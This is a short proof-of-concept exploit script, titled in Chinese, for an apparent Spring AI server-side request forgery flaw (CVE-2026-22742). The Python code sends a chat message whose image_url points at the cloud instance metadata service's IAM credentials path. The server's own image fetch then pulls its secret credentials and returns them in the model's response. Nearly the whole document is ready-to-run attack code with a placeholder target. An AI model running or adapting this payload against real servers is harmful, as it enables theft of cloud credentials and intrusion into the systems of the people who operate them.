CVE-2026-22742 Spring AI SSRF漏洞

import requests import json # Target vulnerable Spring AI endpoint # Replace with actual vulnerable endpoint URL target_url = "http://vulnerable-spring-ai-app/api/chat" # Malicious payload demonstrating SSRF # Attempting to access internal metadata service (AWS Example) ssrf_payload = { "messages": [ { "role": "user", "content": [ { "type": "image_url", "image_url": { # URL pointing to internal service "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } }, { "type": "text", "text": "Describe what you see in this image link." } ] } ], "options": { "model": "anthropic.claude-3-sonnet-20240229-v1:0" } } try: headers = {"Content-Type": "application/json"} # Send the malicious request response = requests.post(target_url, data=json.dumps(ssrf_payload), headers=headers, timeout=10) if response.status_code == 200: print("[+] SSRF Request sent successfully!") print("[+] Server response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")